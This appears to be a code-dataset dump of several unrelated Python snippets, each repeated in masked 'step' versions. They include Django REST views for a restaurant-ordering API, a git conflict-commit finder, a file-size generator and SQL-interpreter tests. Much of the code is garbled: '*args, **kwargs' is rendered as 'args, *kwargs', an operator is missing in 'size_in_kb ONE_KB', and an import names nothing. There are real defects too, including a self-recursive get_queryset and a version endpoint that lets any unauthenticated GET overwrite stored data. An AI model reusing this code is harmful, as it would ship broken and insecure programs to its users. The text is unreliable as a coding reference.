LoginApi(ObtainAuthToken):\n def post(self, request, args, *kwargs):\n serializer = self.serializer_class(data=request.data,\n context=dict(request=request))\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n\n return Response(\n dict(\n token=token.key,\n user_id=user.pk,\n phone=user.phone,\n email=user.email,\n type=user.user_type,\n photo=user.photo.url if user.photo else None,\n address=user.address,\n city=user.lives_in_id,\n birth_date=user.birth_date,\n username=user.username,\n # is_participant=user.client.is_participant if user.client is not None else None,\n # participant_id=user.client.participant.participant_id if user.client else None,\n )\n )\n\n\nclass UserViewSet(ModelViewSet):\n serializer_class = UserSerializer\n queryset = User.objects.filter(is_active=True)\n\n def get_permissions(self):\n if self.action == 'create' or self.action == 'register':\n return [permissions.AllowAny()]\n else:\n return [permissions.IsAuthenticatedOrReadOnly()]\n\n @action(methods=['post'], detail=False, url_path='register', permission_classes=[permissions.AllowAny()])\n def register(self, request, args, *kwargs):\n response = super().create(request, args, *kwargs)\n if response:\n response.data = dict(status=True, code=4)\n return response\n\n def create(self, request, args, *kwargs):\n return self.register(request, args, *kwargs)\n\n\nclass OtpApi(APIView):\n permission_classes = [permissions.AllowAny]\n\n def get(self, request):\n serializer = SmsConfirmationSerializer(data=request.GET)\n result = serializer.resend()\n if result:\n response = dict(status=True, code=5)\n else:\n response = dict(status=False, code=21)\n return Response(response)\n\n def put(self, request):\n serializer = SmsConfirmationSerializer(data=request.data)\n result = serializer.activate()\n if result:\n response = dict(status=True, code=5)\n else:\n response = dict(status=False, code=20)\n return Response(response)\n\n\nclass CuisineViewSet(ModelViewSet):\n serializer_class = CuisineSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Cuisine.objects.all()\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, args, *kwargs):\n if self.action == \"get_types_with_menus\":\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(args, *kwargs)\n return super(MealTypeViewSet, self).get_serializer(args, *kwargs)\n\n @action(['get'], detail=False, url_path=\"type-with-menus\", )\n def get_types_with_menus(self, request, args, *kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) -> queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) -> queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=0) \| Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path=\"get-home\")\n def home(self, request, args, *kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {\n 'recommended': recommended,\n 'special': special,\n 'all': all_restaurants\n }\n return Response(response)\n\n @action(['get'], detail=False, url_path=\"special-offers\")\n def special_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path=\"recommended-offers\")\n def recommended_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants().order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path=\"restaurant-menus\")\n def get_restaurant_menus(self, request, args, *kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path=\"get-home\")\n def home(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {\n 'recommended': recommended,\n 'special_offers': special_offers\n }\n return Response(data=response)\n\n @action(['get'], detail=False, url_path=\"special-offers\")\n def special_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at')\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path=\"recommended-offers\")\n def recommended_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, args, *kwargs):\n if self.action == \"create\":\n return OrderSerializer(args, *kwargs)\n return super(OrderViewSet, self).get_serializer(args, *kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.request.user.client)\n\n def create(self, request, args, *kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, args, *kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\ndef version(request):\n print('inside this')\n if request.GET.get('code', None):\n code = request.GET.get('code')\n AppVersion.objects.all().update(code=code)\n return JsonResponse({'updated': True})\n else:\n code = AppVersion.objects.all().first().code\n return JsonResponse({'code': code})\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path=\"set-default\", url_name='set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path=\"set-main\", url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(default=False)\n return Response({\"status\": True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to=self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path=\"set-main\", url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({\"status\": True})\n\n @action(['PUT'], detail=True, url_path=\"set-default\", url_name='set-default')\n def set_default(self, request, args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-ids": [ 34, 40, 41, 42, 56 ] }	[ 34, 40, 41, 42, 56 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> planet_list.append('Jupiter') planet_list.append('Saturn') planet_list.extend(['Uranus', 'Neptune']) planet_list.insert(1, 'Earth') planet_list.insert(1, 'Venus') planet_list.append('Pluto') del planet_list[-1] print(planet_list) <\|reserved_special_token_1\|> planet_list = ['Mercury', 'Mars'] planet_list.append('Jupiter') planet_list.append('Saturn') planet_list.extend(['Uranus', 'Neptune']) planet_list.insert(1, 'Earth') planet_list.insert(1, 'Venus') planet_list.append('Pluto') del planet_list[-1] print(planet_list) <\|reserved_special_token_1\|> planet_list = ["Mercury", "Mars"] planet_list.append("Jupiter") planet_list.append("Saturn") planet_list.extend(["Uranus", "Neptune"]) planet_list.insert(1, "Earth") planet_list.insert(1, "Venus") planet_list.append("Pluto") del planet_list[-1] print(planet_list)	flexible	{ "blob_id": "1280ab66b817011e22e560a78104bbc4340989e7", "index": 8495, "step-1": "<mask token>\n", "step-2": "<mask token>\nplanet_list.append('Jupiter')\nplanet_list.append('Saturn')\nplanet_list.extend(['Uranus', 'Neptune'])\nplanet_list.insert(1, 'Earth')\nplanet_list.insert(1, 'Venus')\nplanet_list.append('Pluto')\ndel planet_list[-1]\nprint(planet_list)\n", "step-3": "planet_list = ['Mercury', 'Mars']\nplanet_list.append('Jupiter')\nplanet_list.append('Saturn')\nplanet_list.extend(['Uranus', 'Neptune'])\nplanet_list.insert(1, 'Earth')\nplanet_list.insert(1, 'Venus')\nplanet_list.append('Pluto')\ndel planet_list[-1]\nprint(planet_list)\n", "step-4": "planet_list = [\"Mercury\", \"Mars\"]\n\nplanet_list.append(\"Jupiter\")\nplanet_list.append(\"Saturn\")\nplanet_list.extend([\"Uranus\", \"Neptune\"])\nplanet_list.insert(1, \"Earth\")\nplanet_list.insert(1, \"Venus\")\nplanet_list.append(\"Pluto\")\ndel planet_list[-1]\n\nprint(planet_list)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> from .dataset_readers import * from .models import *	flexible	{ "blob_id": "bc8bf06f1adedeb7b364308591bff09ac42d6c29", "index": 3702, "step-1": "<mask token>\n", "step-2": "from .dataset_readers import \nfrom .models import \n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }	[ 0, 1 ]
import os import glob ONE_KB = 1024 def get_files(dirname, size_in_kb): """Return files in dirname that are >= size_in_kb""" return ( filename for _, _, files in os.walk(dirname) for filename in files if int(filename) >= size_in_kb * ONE_KB ) # Pybites solution def get_files1(dirname, size_in_kb): """Return files in dirname that are >= size_in_kb""" for file in glob.glob(os.path.join(dirname, "")): if os.stat(file).st_size >= size_in_kb ONE_KB: yield file	normal	{ "blob_id": "0dec0f04cfe891eea74ef45484fa7433e3429dcd", "index": 7570, "step-1": "<mask token>\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '')):\n if os.stat(file).st_size >= size_in_kb ONE_KB:\n yield file\n", "step-2": "<mask token>\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (filename for _, _, files in os.walk(dirname) for filename in\n files if int(filename) >= size_in_kb * ONE_KB)\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '')):\n if os.stat(file).st_size >= size_in_kb ONE_KB:\n yield file\n", "step-3": "<mask token>\nONE_KB = 1024\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (filename for _, _, files in os.walk(dirname) for filename in\n files if int(filename) >= size_in_kb * ONE_KB)\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '')):\n if os.stat(file).st_size >= size_in_kb ONE_KB:\n yield file\n", "step-4": "import os\nimport glob\nONE_KB = 1024\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (filename for _, _, files in os.walk(dirname) for filename in\n files if int(filename) >= size_in_kb * ONE_KB)\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '')):\n if os.stat(file).st_size >= size_in_kb ONE_KB:\n yield file\n", "step-5": "import os\nimport glob\n\nONE_KB = 1024\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (\n filename\n for _, _, files in os.walk(dirname)\n for filename in files\n if int(filename) >= size_in_kb * ONE_KB\n )\n\n\n# Pybites solution\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, \"\")):\n if os.stat(file).st_size >= size_in_kb ONE_KB:\n yield file\n", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
<\|reserved_special_token_0\|> class CommitAnalyzer: <\|reserved_special_token_0\|> def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class CommitAnalyzer: """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and 'conflict' in commit.message.lower( ) and '.java' in commit.message.lower(): conflict_commits.append(commit) return conflict_commits <\|reserved_special_token_0\|> for commit in commit_analyzer.get_conflict_commits(): print(commit, time.asctime(time.gmtime(commit.committed_date))) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class CommitAnalyzer: """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and 'conflict' in commit.message.lower( ) and '.java' in commit.message.lower(): conflict_commits.append(commit) return conflict_commits commit_analyzer = CommitAnalyzer(os.getcwd()) for commit in commit_analyzer.get_conflict_commits(): print(commit, time.asctime(time.gmtime(commit.committed_date))) <\|reserved_special_token_1\|> import os import time from datetime import datetime, timedelta from git import Repo class CommitAnalyzer: """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and 'conflict' in commit.message.lower( ) and '.java' in commit.message.lower(): conflict_commits.append(commit) return conflict_commits commit_analyzer = CommitAnalyzer(os.getcwd()) for commit in commit_analyzer.get_conflict_commits(): print(commit, time.asctime(time.gmtime(commit.committed_date))) <\|reserved_special_token_1\|> import os import time from datetime import datetime, timedelta from git import Repo class CommitAnalyzer(): """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and "conflict" in commit.message.lower() and ".java" in commit.message.lower(): #if datetime.fromtimestamp(commit.committed_date) >= current_date - timedelta(5): conflict_commits.append(commit) return conflict_commits #run script in cloned repo commit_analyzer = CommitAnalyzer(os.getcwd()) for commit in commit_analyzer.get_conflict_commits(): print (commit, time.asctime(time.gmtime(commit.committed_date)))	flexible	{ "blob_id": "8479c70fed36dc6f1e6094c832fb22d8c2e53e3a", "index": 920, "step-1": "<mask token>\n\n\nclass CommitAnalyzer:\n <mask token>\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass CommitAnalyzer:\n \"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n\n def get_conflict_commits(self):\n conflict_commits = []\n current_date = datetime.now()\n for commit in self.repo.iter_commits('master'):\n parents = commit.parents\n if len(parents) > 1 and 'conflict' in commit.message.lower(\n ) and '.java' in commit.message.lower():\n conflict_commits.append(commit)\n return conflict_commits\n\n\n<mask token>\nfor commit in commit_analyzer.get_conflict_commits():\n print(commit, time.asctime(time.gmtime(commit.committed_date)))\n", "step-3": "<mask token>\n\n\nclass CommitAnalyzer:\n \"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n\n def get_conflict_commits(self):\n conflict_commits = []\n current_date = datetime.now()\n for commit in self.repo.iter_commits('master'):\n parents = commit.parents\n if len(parents) > 1 and 'conflict' in commit.message.lower(\n ) and '.java' in commit.message.lower():\n conflict_commits.append(commit)\n return conflict_commits\n\n\ncommit_analyzer = CommitAnalyzer(os.getcwd())\nfor commit in commit_analyzer.get_conflict_commits():\n print(commit, time.asctime(time.gmtime(commit.committed_date)))\n", "step-4": "import os\nimport time\nfrom datetime import datetime, timedelta\nfrom git import Repo\n\n\nclass CommitAnalyzer:\n \"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n\n def get_conflict_commits(self):\n conflict_commits = []\n current_date = datetime.now()\n for commit in self.repo.iter_commits('master'):\n parents = commit.parents\n if len(parents) > 1 and 'conflict' in commit.message.lower(\n ) and '.java' in commit.message.lower():\n conflict_commits.append(commit)\n return conflict_commits\n\n\ncommit_analyzer = CommitAnalyzer(os.getcwd())\nfor commit in commit_analyzer.get_conflict_commits():\n print(commit, time.asctime(time.gmtime(commit.committed_date)))\n", "step-5": "import os\nimport time\nfrom datetime import datetime, timedelta\nfrom git import Repo\n\nclass CommitAnalyzer():\n\n\t\"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\tdef __init__(self, repo_path):\n\t\tself.repo_path = repo_path\n\t\tself.repo = Repo(self.repo_path)\n\t\tassert not self.repo.bare\n\n\tdef get_conflict_commits(self):\n\t\tconflict_commits = []\n\t\tcurrent_date = datetime.now()\n\t\tfor commit in self.repo.iter_commits('master'):\n\t\t\tparents = commit.parents\n\t\t\tif len(parents) > 1 and \"conflict\" in commit.message.lower() and \".java\" in commit.message.lower():\n\t\t\t\t#if datetime.fromtimestamp(commit.committed_date) >= current_date - timedelta(5):\n\t\t\t\tconflict_commits.append(commit)\n\n\t\treturn conflict_commits\n\n#run script in cloned repo\ncommit_analyzer = CommitAnalyzer(os.getcwd())\nfor commit in commit_analyzer.get_conflict_commits():\n\tprint (commit, time.asctime(time.gmtime(commit.committed_date)))", "step-ids": [ 2, 5, 6, 7, 8 ] }	[ 2, 5, 6, 7, 8 ]
#Exercise 2 - Write a Python class which has two methods get_String and print_String. get_String accept a string #from the user and print_String print the string in upper case #string will be an input to a get_string method and whatever you put in will print when you make the print screen method class IOString(): def __init__(self): self.str1 = "" def get_String(self): self.str1 = input() def print_String(self): print(self.str1.upper()) str1 = IOString() str1.get_String() str1.print_String()	normal	{ "blob_id": "cf2973b94f1113013fe9baa946202ec75488f7d2", "index": 9697, "step-1": "class IOString:\n <mask token>\n\n def get_String(self):\n self.str1 = input()\n <mask token>\n\n\n<mask token>\n", "step-2": "class IOString:\n <mask token>\n\n def get_String(self):\n self.str1 = input()\n\n def print_String(self):\n print(self.str1.upper())\n\n\n<mask token>\n", "step-3": "class IOString:\n\n def __init__(self):\n self.str1 = ''\n\n def get_String(self):\n self.str1 = input()\n\n def print_String(self):\n print(self.str1.upper())\n\n\n<mask token>\n", "step-4": "class IOString:\n\n def __init__(self):\n self.str1 = ''\n\n def get_String(self):\n self.str1 = input()\n\n def print_String(self):\n print(self.str1.upper())\n\n\n<mask token>\nstr1.get_String()\nstr1.print_String()\n", "step-5": "#Exercise 2 - Write a Python class which has two methods get_String and print_String. get_String accept a string\n#from the user and print_String print the string in upper case\n#string will be an input to a get_string method and whatever you put in will print when you make the print screen method\n\nclass IOString():\n def __init__(self):\n self.str1 = \"\"\n \n def get_String(self):\n self.str1 = input()\n \n def print_String(self):\n print(self.str1.upper())\n \nstr1 = IOString()\nstr1.get_String()\nstr1.print_String()", "step-ids": [ 2, 3, 4, 5, 7 ] }	[ 2, 3, 4, 5, 7 ]
<\|reserved_special_token_0\|> class InterpreterTest: <\|reserved_special_token_0\|> def tearDown(self): self.interpreter.unload_all() <\|reserved_special_token_0\|> def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class InterpreterTest: <\|reserved_special_token_0\|> def tearDown(self): self.interpreter.unload_all() <\|reserved_special_token_0\|> def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = """select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;""" self.cli.execute(sql) self.cli.print_new_line() <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class InterpreterTest: def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os.path.join(os.path.dirname(__file__), 'resources/employees.csv') self.interpreter.load(CsvTable('employees', filename)) filename = os.path.join(os.path.dirname(__file__), 'resources/departments.csv') self.interpreter.load(CsvTable('departments', filename)) def tearDown(self): self.interpreter.unload_all() def test_select_1(self): sql = """select id, first_name \|\| ' ' \|\| last_name as full_name, salary - 1000 from employees;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = """select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;""" self.cli.execute(sql) self.cli.print_new_line() if __name__ == '__main__': test = InterpreterTest() test.setUp() test.test_select_1() test.test_select_2() test.test_select_distinct() test.tearDown() <\|reserved_special_token_1\|> import os from sql_interpreter.tables.csv_table import CsvTable from sql_interpreter.interpreter import SqlInterpreter from sql_interpreter.cli import Cli class InterpreterTest: def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os.path.join(os.path.dirname(__file__), 'resources/employees.csv') self.interpreter.load(CsvTable('employees', filename)) filename = os.path.join(os.path.dirname(__file__), 'resources/departments.csv') self.interpreter.load(CsvTable('departments', filename)) def tearDown(self): self.interpreter.unload_all() def test_select_1(self): sql = """select id, first_name \|\| ' ' \|\| last_name as full_name, salary - 1000 from employees;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = """select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;""" self.cli.execute(sql) self.cli.print_new_line() if __name__ == '__main__': test = InterpreterTest() test.setUp() test.test_select_1() test.test_select_2() test.test_select_distinct() test.tearDown() <\|reserved_special_token_1\|> import os from sql_interpreter.tables.csv_table import CsvTable from sql_interpreter.interpreter import SqlInterpreter from sql_interpreter.cli import Cli class InterpreterTest(): def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os.path.join( os.path.dirname(__file__), 'resources/employees.csv') self.interpreter.load(CsvTable('employees', filename)) filename = os.path.join( os.path.dirname(__file__), 'resources/departments.csv') self.interpreter.load(CsvTable('departments', filename)) def tearDown(self): self.interpreter.unload_all() def test_select_1(self): sql = '''select id, first_name \|\| ' ' \|\| last_name as full_name, salary - 1000 from employees;''' self.cli.execute(sql) self.cli.print_new_line() def test_select_2(self): sql = '''select e.id, last_name, department_id, departments.id, name from employees e, departments;''' self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = '''select * from employees;''' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = '''select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;''' self.cli.execute(sql) self.cli.print_new_line() if __name__ == '__main__': test = InterpreterTest() test.setUp() test.test_select_1() test.test_select_2() test.test_select_distinct() test.tearDown()	flexible	{ "blob_id": "b3ee76bc0d93135d0908044a2424dd927a390007", "index": 6357, "step-1": "<mask token>\n\n\nclass InterpreterTest:\n <mask token>\n\n def tearDown(self):\n self.interpreter.unload_all()\n <mask token>\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass InterpreterTest:\n <mask token>\n\n def tearDown(self):\n self.interpreter.unload_all()\n <mask token>\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n\n def test_select_distinct(self):\n sql = \"\"\"select distinct\n departments.id as dep_id, employees.salary as sal\n from employees, departments\n order by dep_id, sal desc;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass InterpreterTest:\n\n def setUp(self):\n self.interpreter = SqlInterpreter()\n self.cli = Cli(self.interpreter)\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/employees.csv')\n self.interpreter.load(CsvTable('employees', filename))\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/departments.csv')\n self.interpreter.load(CsvTable('departments', filename))\n\n def tearDown(self):\n self.interpreter.unload_all()\n\n def test_select_1(self):\n sql = \"\"\"select\n id, first_name \|\| ' ' \|\| last_name as full_name, salary - 1000\n from employees;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n\n def test_select_distinct(self):\n sql = \"\"\"select distinct\n departments.id as dep_id, employees.salary as sal\n from employees, departments\n order by dep_id, sal desc;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n\nif __name__ == '__main__':\n test = InterpreterTest()\n test.setUp()\n test.test_select_1()\n test.test_select_2()\n test.test_select_distinct()\n test.tearDown()\n", "step-4": "import os\nfrom sql_interpreter.tables.csv_table import CsvTable\nfrom sql_interpreter.interpreter import SqlInterpreter\nfrom sql_interpreter.cli import Cli\n\n\nclass InterpreterTest:\n\n def setUp(self):\n self.interpreter = SqlInterpreter()\n self.cli = Cli(self.interpreter)\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/employees.csv')\n self.interpreter.load(CsvTable('employees', filename))\n filename = os.path.join(os.path.dirname(__file__),\n 'resources/departments.csv')\n self.interpreter.load(CsvTable('departments', filename))\n\n def tearDown(self):\n self.interpreter.unload_all()\n\n def test_select_1(self):\n sql = \"\"\"select\n id, first_name \|\| ' ' \|\| last_name as full_name, salary - 1000\n from employees;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_2(self):\n sql = \"\"\"select\n e.id, last_name, department_id, departments.id, name\n from employees e, departments;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n def test_select_all(self):\n code = 'select * from employees;'\n self.interpreter.interpret(code)\n self.cli.print_new_line()\n\n def test_select_distinct(self):\n sql = \"\"\"select distinct\n departments.id as dep_id, employees.salary as sal\n from employees, departments\n order by dep_id, sal desc;\"\"\"\n self.cli.execute(sql)\n self.cli.print_new_line()\n\n\nif __name__ == '__main__':\n test = InterpreterTest()\n test.setUp()\n test.test_select_1()\n test.test_select_2()\n test.test_select_distinct()\n test.tearDown()\n", "step-5": "import os\r\nfrom sql_interpreter.tables.csv_table import CsvTable\r\nfrom sql_interpreter.interpreter import SqlInterpreter\r\nfrom sql_interpreter.cli import Cli\r\n\r\n\r\nclass InterpreterTest():\r\n def setUp(self):\r\n self.interpreter = SqlInterpreter()\r\n self.cli = Cli(self.interpreter)\r\n filename = os.path.join(\r\n os.path.dirname(__file__), 'resources/employees.csv')\r\n self.interpreter.load(CsvTable('employees', filename))\r\n filename = os.path.join(\r\n os.path.dirname(__file__), 